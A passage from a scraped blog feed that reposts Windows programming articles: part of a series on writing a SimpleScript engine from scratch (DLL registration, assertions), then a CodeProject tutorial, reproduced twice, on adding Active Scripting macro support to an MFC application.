to say that anyone who wants to create a script debugger from scratch really is crazy.  It took us many programmer-years to implement the Microsoft Script Debugger.  There are dozens of interfaces that you need to get right.  A debugger, even a simple, basic one like the MSD is a very complex piece of software.  I don't understand how the MSD works, and therefore I'm not about to try and explain it to anyone else!  Unless you have a lot of experience developing debugging technologies and understand it inside out, I'd recommend against going anywhere near the script debugger interfaces from the debugger side.  From the engine and host sides, maybe, but not the debugger side.&lt;br /&gt;I'm going to forge boldly ahead with my plan to develop a script engine from scratch.  And if that works out, maybe we'll do a script host as well. This will take some time, be warned.&lt;br /&gt;I'm going to post the code so far as "articles" so that they don't show up in the feed, and then call out any "interesting" parts of the code as posts.  I've just dropped in the first few files.  So far we can register and unregister the script engine, but not actually create the engine yet.&lt;br /&gt;The code should compile against VC6 or above, and I'm only testing it on Windows XP. &lt;br /&gt;I don't normally like to get all legal, but I think this would be a good time to point out that standard disclaimers apply.  This code is provided as a public service.  I'm writing it from scratch in my spare time, and I don't have a phalanx of Microsoft testers ensuring that everything works.  Code is provided as-is, with no warranties expressed or implied, if you compile it and run it and the world ends, that's not my problem, etc, etc, etc.  Aside from that, you're free to do whatever you want to this code.&lt;br /&gt;OK, now that we've got that out of the way, let's take a look at what's going on here.  So far this is just your basic Windows DLL.  This is pretty boring, but hey, we're just getting going here.&lt;br /&gt;In simplescript.def we've got some boilerplate export code that says that this DLL exports the four standard functions to start up, register, unregister and shut down the DLL.&lt;br /&gt;In guids.h I define some useful guids.  So far the only thing there is the class ID for our new engine, because we'll need that when we register it.  Since the guid is a structure, it must both be declared as a symbol in the header, and somewhere actually turned into object code.  The very short guids.cpp performs the latter task.&lt;br /&gt;In headers.h we've got your straightforward "include the world" header file.  It might be wise to turn this into a precompiled header when this thing starts getting huge, but we'll cross that bridge when we come to it.&lt;br /&gt;I am paranoid about putting assertions into my code.  The point of an assertion is to document in an active way what is known to be true about a program -- not what we hope is true, not what is true most of the time, but what must logically be true.  Assertions are better than comments because assertions will tell you if they are ever violated -- comments will not!  In assert.h you'll see that I define a macro that determines whether a given condition is true, and some special-purpose macros that check for things like "is this memory valid?"  More on those in a minute.&lt;br /&gt;I sense the outrage -- didn't I just say that I hated macros? Indeed I do, but in this case, I really like the ability to automatically determine the file and line number, and I want this stuff to be zero-impact in the retail build, so in this case they're worth it.  Notice also that I am using macros in a very specific way.  I'm not introducing new control flow primitives, etc.  No one is ever going to use this thing in an expression.  Also note that, where possible, the macro immediately calls a method which can be debugged.&lt;br /&gt;If you take a look at those methods in assert.cpp you'll notice a few oddities.  First off, you'll notice that I do not call IsBadWritePtr or IsBadReadPtr, because these guys are incredibly gross.  Basically, the way that IsBadFooPtr works is that it simply attempts to do the action, wraps the attempt in a try-catch, and returns true if an exception is thrown.  If the memory really is bad because you're at the end of the stack then this can potentially fault the stack in a bad way.  If you're in a multi-threaded scenario then IsBadWritePtr can mess up your program due to race conditions. &lt;br /&gt;Now, I realize that in this case we're talking about some debug-only code here -- if either of these ever return true then there's a major bug that's got to be fixed!  But still, they give me the shivers.  I would much rather have my assertions actually ask the operating system whether that's a good pointer than "try it an see" the way IsBadFooPtr does.  (And in fact there is some code in the script engines that needs to check whether a pointer is bad, and it is a main-line common scenario that it will be -- in a not-debug-only scenario like that you cannot rely on the IsBad methods.  Why we have to do that is another story, which I may blog about some time.)&lt;br /&gt;And finally we come to the first bit of code that actually has semantic import -- the DLL startup, shutdown and registration code in dllmain.cpp.&lt;br /&gt;The shutdown code is straightforward -- as you will see in the next episode, we will maintain a reference count on the DLL and only shut it down when there are no outstanding references.  The startup code is even more straightforward -- we simply cache the module handle in a global variable.&lt;br /&gt;It is extremely important that the startup and shutdown code be boring, boring, boring.  If you don't understand why that is, or you feel tempted to put something cool in there, read this, this, this, this, this and this.&lt;br /&gt;The registration code is the only code that's interesting at all here, and even it is pretty boring.  First off, take a look at the coding style of DllRegisterServer.  Except in some specific exceptions, the code I write in this sample is going to be brain-dead obvious insofar as the error code paths and object lifetimes are concerned.  Almost every method I write will follow this pattern:&lt;br /&gt;&lt;br /&gt;if internal method, assert arguments are good.  If public method, check arguments for validity.&lt;br /&gt;Initialize everything that needs to be freed later to NULL.&lt;br /&gt;Initialize out parameters to NULL.&lt;br /&gt;Do stuff.  If you get an error, go to the bottom of the function&lt;br /&gt;Fill in “out” parameters&lt;br /&gt;Free everything&lt;br /&gt;Glancing through the code now, I see that there are a few places where I forgot to assert that input strings were valid.  I'll fix those up later.&lt;br /&gt;Does this technique produce long, boring routines that emphasize the error handling and make it harder to see what the function is doing in the mainline case?  Yes.  But error handling and cleanup is sufficiently important that it is worth calling out -- I need to make sure that it is right, and the best way I know to do that is to make it obvious what everything is doing.  And besides, I'm going to keep the routines short enough that it should be fairly easy to see what they're doing even if every line of “main line“ code has three lines of error handling to go with it.&lt;br /&gt;The registration code creates these keys:&lt;br /&gt;HKCR\SimpleScript\(Default) = "SimpleScript Language Engine"HKCR\SimpleScript\OLEScriptHKCR\SimpleScript\CLSID\(Default) = "{...}"HKCR\CLSID\{...}\(Default) = "SimpleScript Language Engine"HKCR\CLSID\{...}\OLEScript HKCR\CLSID\{...}\ProgID\(Default) = "SimpleScript"HKCR\CLSID\{...}\InprocServer32\(Default) = "c:\simplescript.dll"HKCR\CLSID\{...}\InprocServer32\ThreadingModel = "Both"&lt;br /&gt;as well as some category keys that say "this thing is a script engine".  The "OLEScript" tags are for backwards compatibility with VERY old script hosts, like in the Win16 timeframe -- strictly speaking I would imagine that they are no longer necessary, but it doesn't hurt.&lt;br /&gt;The only thing interesting about the unregister code is that it fails silently.  Actually writing code that checks the error conditions, determines whether the keys couldn't be deleted because (a) they're not there, (b) they are there but you can't see them because you don't have access or (c) they are there but you don't have access to delete them is a pain in the rear.  It's not great that this fails silently when a non-admin tries to unregister the engine, but I'm not going to lose any sleep over it.&lt;br /&gt;Next time, I'll build on this foundation a bit by adding a class factory and the skeleton of a script engine.  Then we can get into the actual script interfaces.&lt;br /&gt;SimpleScript, Part Zero&lt;br /&gt;2004年3月29日 22:40&lt;br /&gt;I'm going to embark upon something ambitious here.  I got an email from Mike, our friendly support engineer on the east coast with the subject line "Need lots of info".  Apparently he was contacted by a customer who wants to implement a new script engine that supports debugging, and, here's the part that you've got to really grit your teeth over: in C#. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;My initial response was, of course, "They're crazy -- talk them out of it!"  Not to put too fine a point on it, that's an immense amount of work in any language.  But C#? The script interfaces were designed long, long before there was managed code.  It's quite likely that it's going to be very hard to write a straightforward interop layer for those interfaces.  "Could they use the managed IVsa interfaces instead?" I asked Mike.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I haven't heard back yet, but I got to thinking last night that maybe it would be interesting to develop a script engine from scratch, describing every interface as I implement it, giving some of the design history behind the interfaces, etc, etc, etc.  I could start it in C++ and then see whether there were ways to make it work well in managed code, etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I could then blog a little bit of the code every few days.  This would keep me in blog topics for weeks, certainly.  Probably months.  All of this stuff happens in my spare time, and I have precious little of that, particularly given the number of bugs I have to fix before the Whidbey beta.  But I'll see what I can do.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I'm not sure that a piecemeal daily blog approach is even the right way to handle this kind of material, but I'm willing to make the experiment. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is probably how it will go:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Phase One: Basic Infrastructure-       dll entrypoints-       registration-       class factory-       engine skeleton&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Phase Two: Building the engine-       script engines as state machines-       threading concerns-       named items-       event handling&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Phase Three: Processing the language-       grammar-       lexer-       parser-       code generator-       interpreter-       runtime library&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Phase Four: Debugger support-       breakpoints-       evaluation-       syntax colouring-       context&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Phase Five: Managed Code-       ?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That's just off the top of my head.  We'll probably mix it up a bit as we go.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-7257090957101040457?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/7257090957101040457/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=7257090957101040457' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/7257090957101040457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/7257090957101040457'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/11/fabulous-adventures-in-coding.html' title='Fabulous Adventures In Coding : SimpleScript'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-2734081115852492096</id><published>2008-11-07T00:12:00.001-08:00</published><updated>2008-11-07T00:14:27.437-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='com'/><title type='text'>Adding Macro Scripting language support to existing MFC Application</title><content type='html'>Adding Macro Scripting language support to existing MFC Application&lt;br /&gt;&lt;a href="http://www.ernzo.com/download/mfcscripthost.zip"&gt;MFCScriptHost.zip&lt;/a&gt;&lt;br /&gt;Originally published for CodeProject&lt;br /&gt;&lt;br /&gt;Introduction&lt;br /&gt;Writing applications that host a script engine to enable developer to write scripts and macros has proven to be very successful. There are thousands of developers using the Windows® Script engines in their applications. The Microsoft implementation simplifies greatly what you need to do to add macro capabilities to your application. The best choice is to use the Active Scripting technology. First of all, Active Scripting technology uses existing scripting language, so you don't need to learn any new language. If you know how to program with VBScript, JavaScript or even PerlScript, that is all you need. In this article, I will present a simple alternative that allows you to add Scripting support to your application.&lt;br /&gt;&lt;br /&gt;Description&lt;br /&gt;The Active Scripting architecture consists of a family of COM interfaces that defines a protocol for connecting a scripting engine to a host application. In the world of Active Scripting, a script engine is just a COM object that's capable of executing script code dynamically in response to either direct parsing or loading of script statements, explicit calls to the script engine's IDispatch interface, or outbound method calls (events) from the host application's objects. The host application can expose its automation interfaces to the script engine's namespace, allowing the application's objects to be accessed as programmatic variables from within dynamically executed scripts. A client application that needs to add script support only needs to implement Host portion of this technology. Different vendors may implement their own implementation of Engine, giving you now alternative to use other language that you already know. A good example is the PerlScript engine. A company may decide to use it instead of using JavaScript or VBScript in order to maintain existing code base.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Figure 1: Active Scripting architecture&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Figure 2: Active Scripting COM Iteraction&lt;br /&gt;&lt;br /&gt;Figure 1: shows the basic architecture of Active Scripting, and Figure 2: shows sequence diagram detail of the COM interfaces defined by the architecture. Your client application that needs to use Active Scripting technology, creates and initializes a scripting engine based on the scripting language you want to parse, and you connect your application to the engine via the SetScriptSite method. You can then feed the engine script code that it can execute either immediately (not a function) or at some point in the future (function call), based on the script engine content and its state. For example, the following script text contains only global statements, and therefore could execute at parse time:&lt;br /&gt;&lt;br /&gt; ScriptHost.Display("Hello CodeProject guru around the world.");&lt;br /&gt;&lt;br /&gt;This statement would force the application to display a message box with the message text (using the MFCScriptHost.exe Application) but:&lt;br /&gt;&lt;br /&gt; function HostDisplay()&lt;br /&gt; {&lt;br /&gt;   ScriptHost.Display("Hello CodeProject guru around the world.");&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;would force the application to display this message only when HostDisplay() is called. But the good news is that this new method can also be accessed by your application whenever you want. To execute this function, your client application (Site object) needs to call GetIDsOfNames and Invoke of the IDispatch pointer of the script engine being used to force the execution of this function. Another cool feature of the Active Scripting technology is that you can add any automation object to the script engine items list and access its methods and properties from your script. In fact, these features are being used inside of Microsoft Office applications, Internet Explorer and Visual Studio. For example, you could have an item named 'Documents' and expose the list of opened documents in your application. Your implementation of the Script Site would call AddNamedItem("Documents") on the script engine interface pointer.&lt;br /&gt;&lt;br /&gt;For example, in our last example, the script engine gets a dispatch pointer of the "ScriptHost" named-item and call the "Display" method. But internally a lot of this process depends on the state of the Scripting Engine. That is the state of the engine must be started (SCRIPTSTATE_STARTED). At this point (when the engine is started), the engine would query the ActiveScriptSite object to resolve a named-item to a IDispatch interface pointer. It will then access that interface properties and methods by calling GetIDsOfNames and Invoke. This new item then becomes just like an internal variable that can be accessed whenever it needs it. Also, it becomes apparent how simple it is for the script engine to access the named-item properties and methods thanks to these two IDispatch interface methods.&lt;br /&gt;&lt;br /&gt;But connecting event function to the script engine is a bit more tricky for many reasons. The more apparent reason is that the script engine must be able to do late-binding event support on a named-item. To support binding events to host named-item, Active Scripting engines use connection points to map outbound method calls/events from the host application's objects onto script functions. The way the named-item event function is called depends on the script language. VBScript uses a whole different approach to bind event call than JavaScript. Andrew Clinick's Scripting Events article give a lot more details than what I could cover here, so you may want to check it out. I think this may be enough to get you start, now if you want to learn more, please check first the following References at the bottom of this article.&lt;br /&gt;This article was updated to show how the ScriptHost object can trigger event to the script. I think this may be enough to get you start. To learn more about Scripting please check first the following References at the bottom of this article.&lt;br /&gt;&lt;br /&gt;Adding Scripting Support to your application&lt;br /&gt;&lt;br /&gt;  1. The first step consists to creating an .ODL file (if your application doesn't have one). Advanced MFC developers could also fake this process by some others means (since we will not register this library) but I will not cover this here. You will have to generate a GUID by using GUIDGen.exe (available in tools folder of Visual Studio). A typical .ODL file would look like this&lt;br /&gt;&lt;br /&gt;     // YourAppName.odl : type library source for YourAppName.exe&lt;br /&gt;&lt;br /&gt;     // This file will be processed by the MIDL compiler to produce the&lt;br /&gt;     // type library (YourAppName.tlb).&lt;br /&gt;&lt;br /&gt;     [ uuid(XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX), version(1.0) ]&lt;br /&gt;     library YourAppName&lt;br /&gt;     {&lt;br /&gt;      importlib("stdole32.tlb");&lt;br /&gt;      importlib("stdole2.tlb");&lt;br /&gt;&lt;br /&gt;      //{{AFX_APPEND_ODL}}&lt;br /&gt;      //}}AFX_APPEND_ODL}}&lt;br /&gt;     };&lt;br /&gt;&lt;br /&gt;  2. Use ClassWizard (Ctrl+W) to create an Automation object derived from CCmdTarget that will be the host object (ActiveScriptSite's client object). Define methods that you want to make available from your host. For example, you may have methods like: CreateActiveX(strProgID),DisplayMessage(strMessage), etc. Typically, these new dispatch methods would be called from a script.&lt;br /&gt;  3. In your new class files, replace all references of CCmdTarget with CActiveScriptHost. At this point you will have to include ActiveScriptHost.h/cpp to your project.&lt;br /&gt;  4. *UPDATED* Override the virtual function HRESULT GetClassID( LPCLSID pclsid ). It must return successfully the CLSID of your host object. The CSLID can be found in the .ODL file once you create the automation object in step 2. Typical implementation will look like this:&lt;br /&gt;&lt;br /&gt;     HRESULT CHost_Proxy::GetClassID( LPCLSID pclsid )&lt;br /&gt;     {&lt;br /&gt;      *pclsid = CLSID_Host_Proxy;&lt;br /&gt;      return S_OK;&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;  5. Note also that at this point our object no difference than a standard COM object (or ActiveX control) but we will not register it as we would normally do. *UPDATED* You will need to declare the type library that you are using. This step is tricky but using MFC macro, it is a lot easier. Just add DECLARE_OLETYPELIB(CYourHost_Proxy) in the header file of your proxy class and IMPLEMENT_OLETYPELIB(CYourHost_Proxy, _tlid, _wVerMajor, _wVerMinor) in the .cpp file. _tlid is the GUID of the typelibrary (step 1) and _wVerMajor/_wVerMinor represent the version number of your typelibary. Also, use the resource include editor to add these directives.&lt;br /&gt;&lt;br /&gt;     #ifdef _DEBUG&lt;br /&gt;     1 TYPELIB "Debug\\YourAppName.tlb"&lt;br /&gt;     #else&lt;br /&gt;     1 TYPELIB "Release\\YourAppName.tlb"&lt;br /&gt;     #endif&lt;br /&gt;&lt;br /&gt;  6. *NEW* Now Add an event-source object, for example:&lt;br /&gt;&lt;br /&gt;     [ uuid(740C1C2D-692F-43F8-85FF-38DEE1742819) ]&lt;br /&gt;     dispinterface IHostEvent&lt;br /&gt;     {&lt;br /&gt;      properties:&lt;br /&gt;      methods:&lt;br /&gt;      [id(1)] void OnRun();&lt;br /&gt;      [id(2)] void OnAppExit();&lt;br /&gt;     };&lt;br /&gt;     //  Class information for CHost_Proxy&lt;br /&gt;     [ uuid(F8235A29-C576-439D-A070-6E7980C9C3F6) ]&lt;br /&gt;     coclass Host_Proxy&lt;br /&gt;     {&lt;br /&gt;      [default] dispinterface IHost_Proxy;&lt;br /&gt;      [default, source] dispinterface IHostEvent;&lt;br /&gt;     };&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     As you can see in this example, our Host now supports two events that we can trigger directly from our code by using COleControl::FireEvent function. Such functions are very simple. For example:&lt;br /&gt;&lt;br /&gt;      void FireOnRun()&lt;br /&gt;       {FireEvent(eventidOnRun,EVENT_PARAM(VTS_NONE));}&lt;br /&gt;      void FireOnAppExit()&lt;br /&gt;       {FireEvent(eventidOnAppExit,EVENT_PARAM(VTS_NONE));}&lt;br /&gt;&lt;br /&gt;  7. Create an instance of your host object (can also be a dynamically-created class by using MFC macro) and call CYourHostProxy::CreateEngine( 'Language ProgID' ) which can be 'JavaScript' or 'VBScript' if you want to use these engine.&lt;br /&gt;  8. Add implementation code to your proxy methods to do what you wish to let the advanced users do with your application.&lt;br /&gt;  9. Add any additional named-item object that you wish to access from script language&lt;br /&gt; 10. Provide way for the user to create script or load script text from disk. CActiveScriptHostclass provide helper functions that you may want to reuse based on functionalities that you want to give in your application. By the way, it is not safe to let user create Inproc-ActiveX object but Local-server is generally good. One good reason not to let the user create ActiveX control is that, if a crash occured inside of the ActiveX, your application should not. Local-server give you freely this kind of safety.&lt;br /&gt;&lt;br /&gt;Revision History&lt;br /&gt;&lt;br /&gt;///////////////////////////////////////////////////////////////////////////////&lt;br /&gt;//  Version history&lt;br /&gt;// v1.01 : Bug fix with accessing object info (ITypeInfo)&lt;br /&gt;// v1.10 : Add 'InvokeFuncHelper' allows to call script function directly from c++&lt;br /&gt;// v1.5  : Add support for Host event (now derive from COleControl instead of CCmdTarget)&lt;br /&gt;///////////////////////////////////////////////////////////////////////////////&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;Say Goodbye to Macro Envy with Active Scripting - Don Box&lt;br /&gt;Scripting Events - Andrew Clinick&lt;br /&gt;Q168214 - SAMPLE MFCAxs.exe Implements an Active Script Host Using MFC&lt;br /&gt;VBScript Documentation&lt;br /&gt;JScript Documentation&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-2734081115852492096?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/2734081115852492096/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=2734081115852492096' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/2734081115852492096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/2734081115852492096'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/11/adding-macro-scripting-language-support_07.html' title='Adding Macro Scripting language support to existing MFC Application'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-1725148391101817995</id><published>2008-11-07T00:12:00.000-08:00</published><updated>2008-11-07T00:13:59.654-08:00</updated><title type='text'>Adding Macro Scripting language support to existing MFC Application</title><content type='html'>Adding Macro Scripting language support to existing MFC Application&lt;br /&gt;&lt;a href="http://www.ernzo.com/download/mfcscripthost.zip"&gt;MFCScriptHost.zip&lt;/a&gt;&lt;br /&gt;Originally published for CodeProject&lt;br /&gt;&lt;br /&gt;Introduction&lt;br /&gt;Writing applications that host a script engine to enable developer to write scripts and macros has proven to be very successful. There are thousands of developers using the Windows® Script engines in their applications. The Microsoft implementation simplifies greatly what you need to do to add macro capabilities to your application. The best choice is to use the Active Scripting technology. First of all, Active Scripting technology uses existing scripting language, so you don't need to learn any new language. If you know how to program with VBScript, JavaScript or even PerlScript, that is all you need. In this article, I will present a simple alternative that allows you to add Scripting support to your application.&lt;br /&gt;&lt;br /&gt;Description&lt;br /&gt;The Active Scripting architecture consists of a family of COM interfaces that defines a protocol for connecting a scripting engine to a host application. In the world of Active Scripting, a script engine is just a COM object that's capable of executing script code dynamically in response to either direct parsing or loading of script statements, explicit calls to the script engine's IDispatch interface, or outbound method calls (events) from the host application's objects. The host application can expose its automation interfaces to the script engine's namespace, allowing the application's objects to be accessed as programmatic variables from within dynamically executed scripts. A client application that needs to add script support only needs to implement Host portion of this technology. Different vendors may implement their own implementation of Engine, giving you now alternative to use other language that you already know. A good example is the PerlScript engine. A company may decide to use it instead of using JavaScript or VBScript in order to maintain existing code base.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Figure 1: Active Scripting architecture&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Figure 2: Active Scripting COM Iteraction&lt;br /&gt;&lt;br /&gt;Figure 1: shows the basic architecture of Active Scripting, and Figure 2: shows sequence diagram detail of the COM interfaces defined by the architecture. Your client application that needs to use Active Scripting technology, creates and initializes a scripting engine based on the scripting language you want to parse, and you connect your application to the engine via the SetScriptSite method. You can then feed the engine script code that it can execute either immediately (not a function) or at some point in the future (function call), based on the script engine content and its state. For example, the following script text contains only global statements, and therefore could execute at parse time:&lt;br /&gt;&lt;br /&gt; ScriptHost.Display("Hello CodeProject guru around the world.");&lt;br /&gt;&lt;br /&gt;This statement would force the application to display a message box with the message text (using the MFCScriptHost.exe Application) but:&lt;br /&gt;&lt;br /&gt; function HostDisplay()&lt;br /&gt; {&lt;br /&gt;   ScriptHost.Display("Hello CodeProject guru around the world.");&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;would force the application to display this message only when HostDisplay() is called. But the good news is that this new method can also be accessed by your application whenever you want. To execute this function, your client application (Site object) needs to call GetIDsOfNames and Invoke of the IDispatch pointer of the script engine being used to force the execution of this function. Another cool feature of the Active Scripting technology is that you can add any automation object to the script engine items list and access its methods and properties from your script. In fact, these features are being used inside of Microsoft Office applications, Internet Explorer and Visual Studio. For example, you could have an item named 'Documents' and expose the list of opened documents in your application. Your implementation of the Script Site would call AddNamedItem("Documents") on the script engine interface pointer.&lt;br /&gt;&lt;br /&gt;For example, in our last example, the script engine gets a dispatch pointer of the "ScriptHost" named-item and call the "Display" method. But internally a lot of this process depends on the state of the Scripting Engine. That is the state of the engine must be started (SCRIPTSTATE_STARTED). At this point (when the engine is started), the engine would query the ActiveScriptSite object to resolve a named-item to a IDispatch interface pointer. It will then access that interface properties and methods by calling GetIDsOfNames and Invoke. This new item then becomes just like an internal variable that can be accessed whenever it needs it. Also, it becomes apparent how simple it is for the script engine to access the named-item properties and methods thanks to these two IDispatch interface methods.&lt;br /&gt;&lt;br /&gt;But connecting event function to the script engine is a bit more tricky for many reasons. The more apparent reason is that the script engine must be able to do late-binding event support on a named-item. To support binding events to host named-item, Active Scripting engines use connection points to map outbound method calls/events from the host application's objects onto script functions. The way the named-item event function is called depends on the script language. VBScript uses a whole different approach to bind event call than JavaScript. Andrew Clinick's Scripting Events article give a lot more details than what I could cover here, so you may want to check it out. I think this may be enough to get you start, now if you want to learn more, please check first the following References at the bottom of this article.&lt;br /&gt;This article was updated to show how the ScriptHost object can trigger event to the script. I think this may be enough to get you start. To learn more about Scripting please check first the following References at the bottom of this article.&lt;br /&gt;&lt;br /&gt;Adding Scripting Support to your application&lt;br /&gt;&lt;br /&gt;  1. The first step consists to creating an .ODL file (if your application doesn't have one). Advanced MFC developers could also fake this process by some others means (since we will not register this library) but I will not cover this here. You will have to generate a GUID by using GUIDGen.exe (available in tools folder of Visual Studio). A typical .ODL file would look like this&lt;br /&gt;&lt;br /&gt;     // YourAppName.odl : type library source for YourAppName.exe&lt;br /&gt;&lt;br /&gt;     // This file will be processed by the MIDL compiler to produce the&lt;br /&gt;     // type library (YourAppName.tlb).&lt;br /&gt;&lt;br /&gt;     [ uuid(XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX), version(1.0) ]&lt;br /&gt;     library YourAppName&lt;br /&gt;     {&lt;br /&gt;      importlib("stdole32.tlb");&lt;br /&gt;      importlib("stdole2.tlb");&lt;br /&gt;&lt;br /&gt;      //{{AFX_APPEND_ODL}}&lt;br /&gt;      //}}AFX_APPEND_ODL}}&lt;br /&gt;     };&lt;br /&gt;&lt;br /&gt;  2. Use ClassWizard (Ctrl+W) to create an Automation object derived from CCmdTarget that will be the host object (ActiveScriptSite's client object). Define methods that you want to make available from your host. For example, you may have methods like: CreateActiveX(strProgID),DisplayMessage(strMessage), etc. Typically, these new dispatch methods would be called from a script.&lt;br /&gt;  3. In your new class files, replace all references of CCmdTarget with CActiveScriptHost. At this point you will have to include ActiveScriptHost.h/cpp to your project.&lt;br /&gt;  4. *UPDATED* Override the virtual function HRESULT GetClassID( LPCLSID pclsid ). It must return successfully the CLSID of your host object. The CSLID can be found in the .ODL file once you create the automation object in step 2. Typical implementation will look like this:&lt;br /&gt;&lt;br /&gt;     HRESULT CHost_Proxy::GetClassID( LPCLSID pclsid )&lt;br /&gt;     {&lt;br /&gt;      *pclsid = CLSID_Host_Proxy;&lt;br /&gt;      return S_OK;&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;  5. Note also that at this point our object no difference than a standard COM object (or ActiveX control) but we will not register it as we would normally do. *UPDATED* You will need to declare the type library that you are using. This step is tricky but using MFC macro, it is a lot easier. Just add DECLARE_OLETYPELIB(CYourHost_Proxy) in the header file of your proxy class and IMPLEMENT_OLETYPELIB(CYourHost_Proxy, _tlid, _wVerMajor, _wVerMinor) in the .cpp file. _tlid is the GUID of the typelibrary (step 1) and _wVerMajor/_wVerMinor represent the version number of your typelibary. Also, use the resource include editor to add these directives.&lt;br /&gt;&lt;br /&gt;     #ifdef _DEBUG&lt;br /&gt;     1 TYPELIB "Debug\\YourAppName.tlb"&lt;br /&gt;     #else&lt;br /&gt;     1 TYPELIB "Release\\YourAppName.tlb"&lt;br /&gt;     #endif&lt;br /&gt;&lt;br /&gt;  6. *NEW* Now Add an event-source object, for example:&lt;br /&gt;&lt;br /&gt;     [ uuid(740C1C2D-692F-43F8-85FF-38DEE1742819) ]&lt;br /&gt;     dispinterface IHostEvent&lt;br /&gt;     {&lt;br /&gt;      properties:&lt;br /&gt;      methods:&lt;br /&gt;      [id(1)] void OnRun();&lt;br /&gt;      [id(2)] void OnAppExit();&lt;br /&gt;     };&lt;br /&gt;     //  Class information for CHost_Proxy&lt;br /&gt;     [ uuid(F8235A29-C576-439D-A070-6E7980C9C3F6) ]&lt;br /&gt;     coclass Host_Proxy&lt;br /&gt;     {&lt;br /&gt;      [default] dispinterface IHost_Proxy;&lt;br /&gt;      [default, source] dispinterface IHostEvent;&lt;br /&gt;     };&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     As you can see in this example, our Host now supports two events that we can trigger directly from our code by using COleControl::FireEvent function. Such functions are very simple. For example:&lt;br /&gt;&lt;br /&gt;      void FireOnRun()&lt;br /&gt;       {FireEvent(eventidOnRun,EVENT_PARAM(VTS_NONE));}&lt;br /&gt;      void FireOnAppExit()&lt;br /&gt;       {FireEvent(eventidOnAppExit,EVENT_PARAM(VTS_NONE));}&lt;br /&gt;&lt;br /&gt;  7. Create an instance of your host object (can also be a dynamically-created class by using MFC macro) and call CYourHostProxy::CreateEngine( 'Language ProgID' ) which can be 'JavaScript' or 'VBScript' if you want to use these engine.&lt;br /&gt;  8. Add implementation code to your proxy methods to do what you wish to let the advanced users do with your application.&lt;br /&gt;  9. Add any additional named-item object that you wish to access from script language&lt;br /&gt; 10. Provide way for the user to create script or load script text from disk. CActiveScriptHostclass provide helper functions that you may want to reuse based on functionalities that you want to give in your application. By the way, it is not safe to let user create Inproc-ActiveX object but Local-server is generally good. One good reason not to let the user create ActiveX control is that, if a crash occured inside of the ActiveX, your application should not. Local-server give you freely this kind of safety.&lt;br /&gt;&lt;br /&gt;Revision History&lt;br /&gt;&lt;br /&gt;///////////////////////////////////////////////////////////////////////////////&lt;br /&gt;//  Version history&lt;br /&gt;// v1.01 : Bug fix with accessing object info (ITypeInfo)&lt;br /&gt;// v1.10 : Add 'InvokeFuncHelper' allows to call script function directly from c++&lt;br /&gt;// v1.5  : Add support for Host event (now derive from COleControl instead of CCmdTarget)&lt;br /&gt;///////////////////////////////////////////////////////////////////////////////&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;Say Goodbye to Macro Envy with Active Scripting - Don Box&lt;br /&gt;Scripting Events - Andrew Clinick&lt;br /&gt;Q168214 - SAMPLE MFCAxs.exe Implements an Active Script Host Using MFC&lt;br /&gt;VBScript Documentation&lt;br /&gt;JScript Documentation&lt;div class="blogger-post-footer"&gt;&lt;img width='1' 